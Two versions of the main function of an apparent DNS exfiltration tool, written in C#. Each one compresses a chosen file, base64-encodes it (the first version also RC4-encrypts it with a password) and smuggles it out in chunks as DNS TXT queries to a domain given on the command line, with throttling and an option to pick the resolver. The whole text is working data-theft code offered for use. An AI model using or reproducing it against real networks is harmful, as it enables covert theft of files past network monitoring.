//------------------------------------------------------------------------------------ // MAIN FUNCTION //------------------------------------------------------------------------------------ public static void Main(string[] args) { // Variables string filePath = String.Empty; string domainName = String.Empty; string password = String.Empty; string fileName = String.Empty; string dnsServer = null; int throttleTime = 0; string data = String.Empty; string request = String.Empty; int requestMaxSize = 255; // DNS request max size = 255 bytes int labelMaxSize = 63; // DNS request label max size = 63 chars //-------------------------------------------------------------- // Perform arguments checking if (args.Length < 3) { PrintColor("[!] Missing arguments"); PrintUsage(); return; } filePath = args[0]; domainName = args[1]; password = args[2]; fileName = Path.GetFileName(filePath); if (!File.Exists(filePath)) { PrintColor(String.Format("[!] File not found: {0}", filePath)); return; } // Do we have additionnal arguments ? if (new[] { 4, 5, 6, 7 }.Contains(args.Length)) { int i = 3; int param; while (i < args.Length) { if (args[i].StartsWith("s=")) { dnsServer = args[i].Split('=')[1]; PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer)); } else if (args[i].StartsWith("t=")) { throttleTime = Convert.ToInt32(args[i].Split('=')[1]); PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime)); } else if (args[i].StartsWith("r=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 255) { requestMaxSize = param; } PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize)); } else if (args[i].StartsWith("l=")) { param = Convert.ToInt32(args[i].Split('=')[1]); if (param < 63) { labelMaxSize = param; } PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize)); } i++; } } //-------------------------------------------------------------- // Compress the file in memory PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath)); using (var zipStream = new MemoryStream()) { using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) { var entryFile = archive.CreateEntry(fileName); using (var entryStream = entryFile.Open()) using (var streamWriter = new BinaryWriter(entryStream)) { streamWriter.Write(File.ReadAllBytes(filePath)); } } zipStream.Seek(0, SeekOrigin.Begin); PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}], then converting it to a base64 representation", password)); data = Encode(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray())); PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length)); } //-------------------------------------------------------------- // Compute the size of the chunk and how it can be split into subdomains (labels) // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873 // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number: // <chunk_number>.<data>.<data>.<data>.domainName. int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2); // domain name space usage in bytes int nbFullLabels = bytesLeft / (labelMaxSize + 1); int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1; int chunkMaxSize = nbFullLabels * labelMaxSize + smallestLabelSize; int nbChunks = data.Length / chunkMaxSize + 1; PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize)); PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks)); //-------------------------------------------------------------- // Send the initial request advertising the fileName and the total number of chunks request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName; PrintColor("[*] Sending 'init' request"); try { string[] reply = DnsResolver.GetTXTRecords(request, dnsServer); if (reply[0] != "OK") { PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0])); return; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } //-------------------------------------------------------------- // Send all chunks of data, one by one PrintColor("[*] Sending data..."); string chunk = String.Empty; int chunkIndex = 0; int countACK; for (int i = 0; i < data.Length;) { // Get a first chunk of data to send chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i)); int chunkLength = chunk.Length; // First part of the request is the chunk number request = chunkIndex.ToString() + "."; // Then comes the chunk data, split into sublabels int j = 0; while (j * labelMaxSize < chunkLength) { request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + "."; j++; } // Eventually comes the top level domain name request += domainName; // Send the request try { string[] reply = DnsResolver.GetTXTRecords(request, dnsServer); countACK = Convert.ToInt32(reply[0]); if (countACK != chunkIndex) { PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK)); } else { i += chunkMaxSize; chunkIndex++; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } // Apply throttle if requested if (throttleTime != 0) { Thread.Sleep(throttleTime); } } PrintColor("[*] DONE !"); } // End Main
//------------------------------------------------------------------------------------ // MAIN FUNCTION //------------------------------------------------------------------------------------ public static void Main(string[] args) { //-------------------------------------------------------------- // Perform arguments checking if (args.Length < 2) { PrintColor("[!] Missing arguments"); PrintUsage(); return; } string filePath = args[0]; string domainName = args[1]; string fileName = Path.GetFileName(filePath); string dnsServer = null; int throttleTime = 0; if (!File.Exists(filePath)) { PrintColor(String.Format("[!] File not found: {0}", filePath)); return; } // Do we have additionnal arguments ? if (new[] { 3, 4 }.Contains(args.Length)) { int i = 2; while (i < args.Length) { if (args[i].StartsWith("s=")) { dnsServer = args[i].Split('=')[1]; PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer)); } else if (args[i].StartsWith("t=")) { throttleTime = Convert.ToInt32(args[i].Split('=')[1]); PrintColor(String.Format("[*] Setting throttle time to [{0}ms]", throttleTime)); } i++; } } string data = String.Empty; //-------------------------------------------------------------- // Compress the file in memory PrintColor(String.Format("[*] Compressing (zip) the [{0}] file in memory", filePath)); using (var zipStream = new MemoryStream()) { using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) { var entryFile = archive.CreateEntry(fileName); using (var entryStream = entryFile.Open()) using (var streamWriter = new BinaryWriter(entryStream)) { streamWriter.Write(File.ReadAllBytes(filePath)); } } zipStream.Seek(0, SeekOrigin.Begin); PrintColor("[*] Converting the zipped file to a base64 representation"); data = Encode(zipStream.ToArray()); PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length)); } //-------------------------------------------------------------- // Compute the size of the chunk and how it can be split into subdomains (labels) // Rationnal: DNS request max size is 255 bytes, each label max size is 63 chars => 64 bytes due to the byte required to code the label length // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873 int bytesLeft = 255 - (domainName.Length + 2); // domain name space usage in bytes int nbFullLabels = bytesLeft / 64; int smallestLabelSize = bytesLeft % 64 - 1; int chunkMaxSize = nbFullLabels * 63 + smallestLabelSize; int nbChunks = data.Length / chunkMaxSize + 1; PrintColor(String.Format("[+] Chunk max size: [{0}] bytes", chunkMaxSize)); PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks)); //-------------------------------------------------------------- // Send the initial request advertising the fileName and the total number of chunks string request = String.Empty; request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName; PrintColor("[*] Sending init request"); try { string[] reply = DnsResolver.GetTXTRecords(request, dnsServer); if (reply[0] != "OK") { PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0])); return; } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } //-------------------------------------------------------------- // Send all chunks of data, one by one string chunk = String.Empty; int count = 1; int countACK; for (int i = 0; i < data.Length; i += chunkMaxSize) { request = String.Empty; // Get a first chunk of data to send chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i)); int chunkLength = chunk.Length; int j = 0; while (j * 63 < chunkLength) { request += chunk.Substring(j * 63, Math.Min(63, chunkLength - (j * 63))) + "."; j++; } request += domainName; // Now send the request try { string[] reply = DnsResolver.GetTXTRecords(request, dnsServer); countACK = Convert.ToInt32(reply[0]); if (countACK != count) { PrintColor(String.Format("[!] Chunk number [{0}] lost !!", countACK)); } } catch (Win32Exception e) { PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message)); return; } count++; // Apply throttle if requested if (throttleTime != 0) { Thread.Sleep(throttleTime); } } PrintColor("[*] DONE !"); } // End Main